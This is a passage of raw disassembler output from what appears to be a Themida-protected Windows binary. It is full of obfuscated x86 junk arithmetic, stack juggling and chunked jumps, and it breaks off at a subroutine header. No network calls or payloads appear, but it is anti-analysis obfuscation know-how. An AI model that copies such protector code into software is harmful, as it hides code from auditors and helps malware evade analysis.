; FUNCTION CHUNK AT 00596001 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00596182 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005961D8 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00596320 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005964ED SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059659E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059666C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00596718 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00596733 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596770 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005967A9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596821 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00596932 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00596B3A SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00596B5D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00596C35 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00596CB7 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00596D97 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00596E4E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596EBF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00597045 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00597085 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00597202 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00597259 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00597364 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00597448 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00597569 SIZE 0000001D BYTES

		push	ebx
		xor	[esp+20h+var_20], 566B1EE8h
		mov	eax, [esp+20h+var_20]
		add	esp, 4
		push	764h
		jmp	loc_593E85
sub_58E66C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_58E684:				; CODE XREF: Themida_:005922F7j
		mov	dl, cl
		pop	cx
		xchg	dl, bh
		xor	[esp], bh
		jmp	loc_58DD93
; ---------------------------------------------------------------------------


loc_58E692:				; CODE XREF: Themida_:0058CC25j
		sub	esp, 4
		jmp	loc_58D96C
; ---------------------------------------------------------------------------


loc_58E69D:				; CODE XREF: Themida_:0058DDDEj
		mov	esi, esp
		push	ebp
		mov	ebp, 78BA4C07h
		not	ebp
		jmp	loc_58B83E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58E6AC:				; CODE XREF: sub_596082-9007j
		push	7716h
		mov	[esp+4+var_4], ecx
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		jmp	loc_5906AA
; ---------------------------------------------------------------------------


loc_58E6C2:				; CODE XREF: sub_596082-32B2j
		add	esp, 4
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+4+var_4]
		jmp	loc_596408
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58E6EB:				; CODE XREF: Themida_:0058A57Cj
		push	dword ptr [esp]
		jmp	loc_58C6B3
; ---------------------------------------------------------------------------


loc_58E6F3:				; CODE XREF: Themida_:00594584j
		xor	edi, ebx
		pop	ebx
		xor	edx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58E707:				; CODE XREF: Themida_:00595F59j
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_594310
; ---------------------------------------------------------------------------


loc_58E717:				; CODE XREF: Themida_:0058FDEBj
		xor	ecx, 21653206h
		jnz	loc_595AFC
		sub	ecx, 238DE52Ah
		mov	esi, ecx
		pop	ecx
		mov	ch, ah


loc_58E72E:				; CODE XREF: Themida_:0058CF2Cj
		mov	[esp], ebx
		push	3719h
		jmp	loc_59243E
; ---------------------------------------------------------------------------


loc_58E73B:				; CODE XREF: Themida_:0058FECCj
		add	edi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2
		sub	edi, 577546BEh
		sub	edi, 4795759Fh
		add	edi, esi
		jmp	loc_58CACD
; ---------------------------------------------------------------------------


loc_58E75F:				; CODE XREF: Themida_:00591A54j
		sub	ecx, 63C61DC3h
		add	ecx, 603012Fh
		sub	ecx, edi
		sub	ecx, 603012Fh
		add	ecx, 63C61DC3h
		jmp	loc_591790
; ---------------------------------------------------------------------------


loc_58E77E:				; CODE XREF: Themida_:0058C95Aj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		push	edi
		push	9E64470h
		pop	edi
		or	edi, 73F84D0Ch
		jmp	loc_58F6CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58E799:				; CODE XREF: sub_591C99-4797j
		push	eax
		mov	ah, 0CEh
		mov	cl, 0E6h
		jmp	loc_590F80
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_58E7A3:				; CODE XREF: Themida_:0058E121j
		add	ebp, 66291359h
		jmp	loc_595C77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5925A4


loc_58E7AE:				; CODE XREF: sub_5925A4+3279j
		inc	dl
		or	dl, 6Bh
		add	dl, 0EEh
		sub	dl, 2Bh
		jmp	loc_593550
; END OF FUNCTION CHUNK	FOR sub_5925A4
; ---------------------------------------------------------------------------


loc_58E7BE:				; CODE XREF: Themida_:0058E4FFj
		add	edx, ecx
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [eax]
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D966


loc_58E7D4:				; CODE XREF: sub_58D966+2A33j
		add	edx, ebp
		pop	ebp
		push	0F3Bh
		jmp	loc_591C29
; END OF FUNCTION CHUNK	FOR sub_58D966
; ---------------------------------------------------------------------------


loc_58E7E1:				; CODE XREF: Themida_:0058C49Fj
		sub	ecx, eax
		pop	eax
		jmp	loc_5956CD
; ---------------------------------------------------------------------------


loc_58E7E9:				; CODE XREF: Themida_:0058A8DEj
		mov	[esp], esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_58F158
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594EC6


loc_58E804:				; CODE XREF: sub_594EC6-656Fj
		mov	[esp+4+var_4], eax
		jmp	loc_5955B3
; END OF FUNCTION CHUNK	FOR sub_594EC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58E80C:				; CODE XREF: sub_596082-5DACj
		push	edi
		push	edx
		push	4845h
		mov	[esp+10h+var_10], ebx
		jmp	loc_58F983
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		push	3AD4h
		mov	[esp], esp
		push	3AF6h
		jmp	loc_594454
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58E82D:				; CODE XREF: Themida_:0058B61Ej
					; sub_591C99-49D4j
		mov	eax, 2
		add	edx, 1417396Ah
		add	edx, 7D463BA6h
		sub	edx, eax
		jmp	loc_594D2B
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58E845:				; CODE XREF: sub_596082-9666j
		pop	esp
		push	7945h
		mov	[esp+20h+var_20], ecx
		sub	[esp+20h+var_20], 40CF5044h
		pop	edx
		add	edx, 40CF5044h
		push	[esp+1Ch+var_1C]
		jmp	loc_58B137
; ---------------------------------------------------------------------------


loc_58E864:				; CODE XREF: sub_596082-8C8Ej
					; Themida_:0058E22Fj
		push	eax
		mov	eax, 0ED0504E9h
		sub	edx, eax
		pop	eax
		xor	edx, 7CDF5F9Bh
		push	eax
		mov	eax, 7F7D88A8h
		xor	edx, eax
		pop	eax
		xor	eax, edx
		pop	edx
		xor	ebx, eax
		jmp	sub_596BC4
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BC4


loc_58E886:				; CODE XREF: sub_596BC4-32Dj
		add	edx, ebp
		pop	ebp
		sub	edx, 2B206273h
		jmp	loc_58F9A4
; END OF FUNCTION CHUNK	FOR sub_596BC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58E894:				; CODE XREF: sub_596082-6842j
		jge	loc_594887
		shl	eax, 7
		push	ecx
		mov	ecx, 27D66F6Fh
		sub	eax, ecx
		mov	cl, ah
; END OF FUNCTION CHUNK	FOR sub_596082
; START	OF FUNCTION CHUNK FOR sub_58D2AA


loc_58E8A7:				; CODE XREF: sub_58D2AA-5FAj
		pop	ebp
		xchg	ebx, [esp+0]
		pop	esp
		jmp	loc_58AFE8
; END OF FUNCTION CHUNK	FOR sub_58D2AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58E8B1:				; CODE XREF: sub_58F160-3F1Ej
		mov	ah, 0Ch
		inc	ah
		inc	ah
		jmp	loc_58B29D
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596B50


loc_58E8BC:				; CODE XREF: sub_596B50-12B3j
					; sub_596082+1478j
		pop	esi
		jmp	loc_58CC02
; END OF FUNCTION CHUNK	FOR sub_596B50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F6F4


loc_58E8C2:				; CODE XREF: sub_58F6F4+47F8j
		shr	cl, 4
		jmp	loc_5975CC
; END OF FUNCTION CHUNK	FOR sub_58F6F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_58E8CA:				; CODE XREF: sub_58E91C+76B1j
		pop	esi
		sub	edx, ebx
		pop	ebx
		jmp	sub_58E049
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	6D50h
		jmp	loc_58D8CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D6A0


loc_58E8E1:				; CODE XREF: sub_58D6A0-FA3j
		push	eax
		mov	eax, 6A58666Bh
		xor	eax, 6A58666Fh
		add	ebx, eax
		pop	eax
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		jmp	loc_590780
; END OF FUNCTION CHUNK	FOR sub_58D6A0
; ---------------------------------------------------------------------------


loc_58E8FD:				; CODE XREF: Themida_:00594A7Aj
		add	dword ptr [esp+4], 163C76F0h
		jmp	loc_5922D5
; ---------------------------------------------------------------------------


loc_58E90A:				; CODE XREF: Themida_:0059679Dj
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5920E7

; =============== S U B	R O U T	I N E =======================================



sub_58E91C	proc near		; CODE XREF: sub_596B50-AE51j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0058A522 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058A541 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058C66E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058D139 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058D489 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058E8CA SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058ED27 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058EE1C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058EE69 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058F681 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058F8E9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059001C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059031B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059060F SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005911A9 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005919E7 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00591D66 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00592F38 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005932B9 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005935C4 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0059360E SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00593A19 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0059415C SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005954E4 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00595822 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005959C8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00595FBF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00596256 SIZE 00000014 BYTES

		push	ebx
		mov	ebx, 1
		add	edx, 4E1F78B0h
		sub	edx, ebx
		sub	edx, 4E1F78B0h
		pop	ebx
		jmp	loc_5935C4
sub_58E91C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59569E


loc_58E936:				; CODE XREF: sub_59569E+1j
		mov	ebx, ebp
		jmp	loc_593A5F
; END OF FUNCTION CHUNK	FOR sub_59569E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58E93D:				; CODE XREF: sub_5F45E7-62AF9j
		add	esp, 4
		sub	esp, 4
		mov	[esp+26h+var_28+2], eax
		jmp	loc_58B67C
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594EC6


loc_58E94E:				; CODE XREF: sub_594EC6+1CE7j
		push	dword ptr [esp+0]
		pop	ebp
		push	528Dh
		jmp	loc_58E804
; END OF FUNCTION CHUNK	FOR sub_594EC6
; ---------------------------------------------------------------------------


loc_58E95C:				; CODE XREF: Themida_:005975C7j
		sub	eax, 0C9B387Ah
		jmp	loc_58DFDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58E966:				; CODE XREF: sub_58E66C-1DACj
		jmp	loc_58F31A
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58E96B:				; CODE XREF: sub_596082-6170j
		mov	ebx, 4
		add	ecx, 29657DBDh
		sub	ecx, ebx
		sub	ecx, 29657DBDh
		jmp	loc_593DAB
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58E983:				; CODE XREF: sub_58E66C+2181j
		neg	ecx
		shr	ecx, 6
		add	ecx, 0AE07D01h
		inc	ecx
		sub	ecx, 0D15628A8h
		jmp	loc_58F369
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58E99A:				; CODE XREF: Themida_:0058C513j
		or	[edi+1Ch], ebp
		pop	ebp
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58E99E:				; CODE XREF: sub_596082-2481j
		push	3DF7h
		mov	[esp+10h+var_10], ebx
		push	[esp+10h+var_10]
		jmp	loc_5925D9
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58E9AE:				; CODE XREF: Themida_:00592ED7j
		push	2ABAh
		jmp	loc_58FCA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594EC6


loc_58E9B8:				; CODE XREF: sub_594EC6-2465j
		add	edx, edi
		push	6640h
		mov	[esp+8+var_8], ecx
		mov	ecx, 0
		add	ecx, edx
		add	dword ptr [ecx], 1
		mov	ecx, [esp+8+var_8]
		jmp	loc_590587
; END OF FUNCTION CHUNK	FOR sub_594EC6
; ---------------------------------------------------------------------------


loc_58E9D7:				; CODE XREF: Themida_:0058D33Dj
		shl	ch, 4
		sub	ch, 0A4h
		xor	ch, 0A6h
		sub	al, 4Bh
		sub	al, ch
		jmp	loc_58C223
; ---------------------------------------------------------------------------


loc_58E9E9:				; CODE XREF: Themida_:0058BDF6j
		push	4042699Ch
		pop	edi
		shl	edi, 6
		jnp	loc_58B04F
		jmp	loc_5937FB
; ---------------------------------------------------------------------------


loc_58E9FD:				; CODE XREF: Themida_:0059202Dj
		push	eax
		mov	eax, 4
		sub	ebx, eax
		jmp	loc_58DDD0
; ---------------------------------------------------------------------------


loc_58EA0A:				; CODE XREF: Themida_:00594726j
		add	esp, 4
		push	edi
		mov	edi, 3C090CD2h
		push	esi
		mov	esi, 0C3F6F332h
		jmp	loc_596E28
; ---------------------------------------------------------------------------


loc_58EA1E:				; CODE XREF: Themida_:loc_596A6Dj
		or	dh, 0F0h
		js	loc_58ACF6
		neg	dh
		jmp	loc_58FBD7
; ---------------------------------------------------------------------------
		not	dword ptr [esp]
		pop	edi
		mov	dl, 0F9h


loc_58EA34:				; CODE XREF: Themida_:00595085j
		shr	dl, 1
		sub	dl, 29h
		inc	dl
		inc	dl
		jz	loc_58D7CF
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 5Dh
		push	bx
		mov	bh, ah
		not	bh
		jmp	loc_58C0CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596FD2


loc_58EA59:				; CODE XREF: sub_596FD2-3E78j
		add	ebp, eax
		pop	eax
		push	edx
		push	esi
		mov	esi, 5BDC15E2h
		mov	edx, esi
		mov	esi, [esp+0]
		add	esp, 4
		jmp	loc_596F02
; END OF FUNCTION CHUNK	FOR sub_596FD2
; ---------------------------------------------------------------------------


loc_58EA70:				; CODE XREF: Themida_:0058D723j
		add	esp, 4
		jmp	loc_592957
; ---------------------------------------------------------------------------


loc_58EA7B:				; CODE XREF: Themida_:0058BD82j
					; Themida_:00593246j
		xor	esi, 8304021Bh
		mov	eax, esi
		pop	esi
		mov	ebx, eax
		jmp	loc_58E454
; ---------------------------------------------------------------------------


loc_58EA8B:				; CODE XREF: Themida_:00590D0Fj
		pop	dword ptr [esp]
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	2B40h
		mov	[esp], ecx
		push	eax
		mov	al, 53h
		jmp	loc_5928BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58EAA6:				; CODE XREF: sub_58E66C-1B82j
		shr	eax, 7
		jnz	loc_596320
		sub	eax, 9BB3CB5Bh
		jmp	loc_59738A
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_58EAB9:				; CODE XREF: Themida_:00590668j
		mov	[esp], eax
		mov	eax, 18BF1185h
		not	eax
		add	eax, 0AFA1DAEAh
		jmp	loc_594140
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58EACD:				; CODE XREF: sub_593009-843Dj
		push	esp
		pop	ebx
		push	eax
		mov	eax, 1C68431Bh
		jmp	loc_58B329
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CE72


loc_58EADA:				; CODE XREF: sub_58CE72-957j
		mov	esp, [esp-4+arg_0]
		mov	[esp-4+arg_0], eax
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_58CE72
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_58F1B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592A4E


loc_58EAF0:				; CODE XREF: sub_592A4E-597Bj
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_592A4E
; ---------------------------------------------------------------------------


loc_58EAF5:				; CODE XREF: Themida_:00593930j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	1FE6490Ch
		pop	esi
		shl	esi, 5
		jnp	loc_58D77E
		sub	esi, 0FCC3E839h
		push	esi
		mov	esi, eax
		pop	ebp
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58EB21:				; CODE XREF: sub_58F160+66Ej
		mov	ebx, esp
		jmp	sub_58A7D7
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_58EB28:				; CODE XREF: Themida_:0058B897j
		pop	edi
		add	esp, 4
		shl	ebp, 7
		sub	ebp, 434C6C7Ch
		sub	edx, 51450AEAh
		add	edx, ebp
		jmp	loc_59656E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58EB42:				; CODE XREF: sub_58E66C+30EAj
					; sub_596082-1F74j
		mov	edi, 10A108A8h
		shl	edi, 6
		sub	edi, 1CCD018Dh
		and	edi, 3B140168h
		xor	edi, 0B140064h
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp+10h+var_10]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+10h+var_10]
		pop	esp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	ecx
		mov	ecx, 448218C6h
		xor	[esp+14h+var_10], ecx
		push	[esp+14h+var_14]
		pop	ecx
		add	esp, 4
		push	[esp+10h+var_10]
		pop	eax
		push	50FFh
		mov	[esp+14h+var_14], ecx
		jmp	loc_5916DD
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58EBA1:				; CODE XREF: Themida_:00593F7Dj
		add	ebx, edx
		pop	edx
		jmp	loc_59596D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58EBA9:				; CODE XREF: sub_5F45E7-66BCBj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5916D1
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D112


loc_58EBB9:				; CODE XREF: sub_58D112-3CEj
		add	al, 3Bh
		sub	esp, 4
		mov	[esp+8+var_8], ebx
		mov	bh, 59h
		sub	bh, 0CDh
		and	bh, 67h
		and	bh, 0E8h
		jmp	loc_58E62A
; END OF FUNCTION CHUNK	FOR sub_58D112
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_5976F2
; ---------------------------------------------------------------------------


loc_58EBDD:				; CODE XREF: Themida_:0058D477j
		xor	ebp, 449250DCh
		jb	loc_591368
		push	edi
		mov	edi, 8AAE3126h
		add	ebp, edi
		jmp	loc_592BA9
; ---------------------------------------------------------------------------


loc_58EBF6:				; CODE XREF: Themida_:0058BD3Bj
		add	eax, 2
		jmp	loc_593525
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58EBFE:				; CODE XREF: sub_58F160-4420j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0]
		jmp	loc_58DC4D
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_58EC11:				; CODE XREF: Themida_:00593E23j
		pop	esi
		push	3474h
		mov	[esp], edi
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5976CA
; ---------------------------------------------------------------------------


loc_58EC29:				; CODE XREF: Themida_:00591D33j
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_59181A
; ---------------------------------------------------------------------------


loc_58EC39:				; CODE XREF: Themida_:0058B148j
		add	eax, 29CE4D33h
		add	eax, ebx
		push	5DCDh
		mov	[esp], esi
		mov	esi, 29CE4D33h
		push	ecx
		mov	ecx, 78487594h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	eax, 4B363B64h
		sub	eax, esi
		add	eax, 4B363B64h
		sub	eax, 78487594h
		push	dword ptr [esp]
		pop	esi
		push	ecx
		push	733Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_593116
; ---------------------------------------------------------------------------


loc_58EC8F:				; CODE XREF: Themida_:0059632Dj
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_591862
; ---------------------------------------------------------------------------


loc_58EC9B:				; CODE XREF: Themida_:0058AF3Ej
		mov	[esp], esp
		jmp	loc_596852
; ---------------------------------------------------------------------------


loc_58ECA3:				; CODE XREF: Themida_:0058D30Ej
		add	esi, 4
		add	esi, 2
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_58A6F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58ECC2:				; CODE XREF: sub_596082-21B5j
		mov	ebp, 0E94BE497h
		add	ebp, ebx
		pop	ebx
		push	eax
		mov	eax, 47775417h
		shr	eax, 4
		and	eax, 5941404Eh
		add	eax, 20977DD3h
		shr	eax, 7
		sub	eax, 0C916B535h
		add	ebp, eax
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_5970D1
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58ECF2:				; CODE XREF: sub_591C99-47B2j
					; Themida_:005972BBj
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		jmp	loc_58DFC0
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_58ED00:				; CODE XREF: Themida_:00593714j
		neg	ch
		jmp	loc_590683
; ---------------------------------------------------------------------------


loc_58ED07:				; CODE XREF: Themida_:00592821j
		shr	ecx, 8
		jnp	loc_594CE2
		jmp	loc_58BD40
; ---------------------------------------------------------------------------


loc_58ED15:				; CODE XREF: Themida_:0059547Fj
		push	eax
		sub	esp, 4
		jmp	loc_58FA22
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_58DE0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_58ED27:				; CODE XREF: sub_58E91C+30D8j
		mov	[esp+0], ebx
		mov	ebx, 1Ch
		add	ebx, edi
		push	eax
		mov	eax, 0
		add	eax, ebx
		push	dword ptr [eax]
		jmp	loc_5954E4
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------


loc_58ED40:				; CODE XREF: Themida_:00596757j
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		add	edi, 441D23A2h
		jmp	loc_595CAA
; ---------------------------------------------------------------------------


loc_58ED53:				; CODE XREF: Themida_:0058B482j
		mov	edi, 59F12DAh
		add	edi, 2E991D10h
		or	edi, 6F7C363Eh
		or	edi, 23575689h
		dec	edi
		shr	edi, 6
		xor	edi, 1FDFDFBh
		add	esi, edi
		pop	edi
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	48h
		mov	[esp], edx
		mov	edx, 5AB978A1h
		shr	edx, 5
		shr	edx, 5
		xor	edx, 16AE5Ah
		jmp	loc_590AB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58EDAA:				; CODE XREF: sub_591C99-3C2j
		not	ch
		push	bx
		mov	bh, ch
		neg	bh
		jmp	loc_59200C
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_58EDB7:				; CODE XREF: Themida_:0059768Aj
		sub	edx, 2AAD78F4h
		sub	edx, 79A00200h
		push	eax
		mov	eax, 7B1224BFh
		sub	eax, 558E22F6h
		neg	eax
		sub	eax, 0D1C6825Eh
		add	edx, eax
		pop	eax
		push	edi
		jmp	loc_597119
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		jmp	loc_58AAAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58EDE5:				; CODE XREF: sub_596082+74Dj
		jmp	loc_5908E3
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58EDEA:				; CODE XREF: Themida_:0058A90Fj
		add	ecx, ebp
		pop	ebp
		jmp	loc_593346
; ---------------------------------------------------------------------------


loc_58EDF2:				; CODE XREF: Themida_:00591673j
		xor	ebx, [esp]
		pop	esp
		mov	[esp], eax
		sub	dword ptr [esp], 45F40A68h
		jmp	loc_58ADE8
; ---------------------------------------------------------------------------


loc_58EE05:				; CODE XREF: Themida_:00596336j
		mov	cl, 53h
		not	cl
		jmp	loc_58AF49
; ---------------------------------------------------------------------------


loc_58EE0E:				; CODE XREF: Themida_:0058A750j
					; Themida_:0058E212j
		add	ebx, 2
		xchg	ebx, [esp]
		jmp	loc_595528
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_58EE1C:				; CODE XREF: sub_58E91C+3465j
		mov	esi, 693728DAh
		inc	esi
		jmp	loc_595FBF
; END OF FUNCTION CHUNK	FOR sub_58E91C

; =============== S U B	R O U T	I N E =======================================



sub_58EE27	proc near		; CODE XREF: sub_5F45E7-6A063j
					; sub_58C878+92B0j

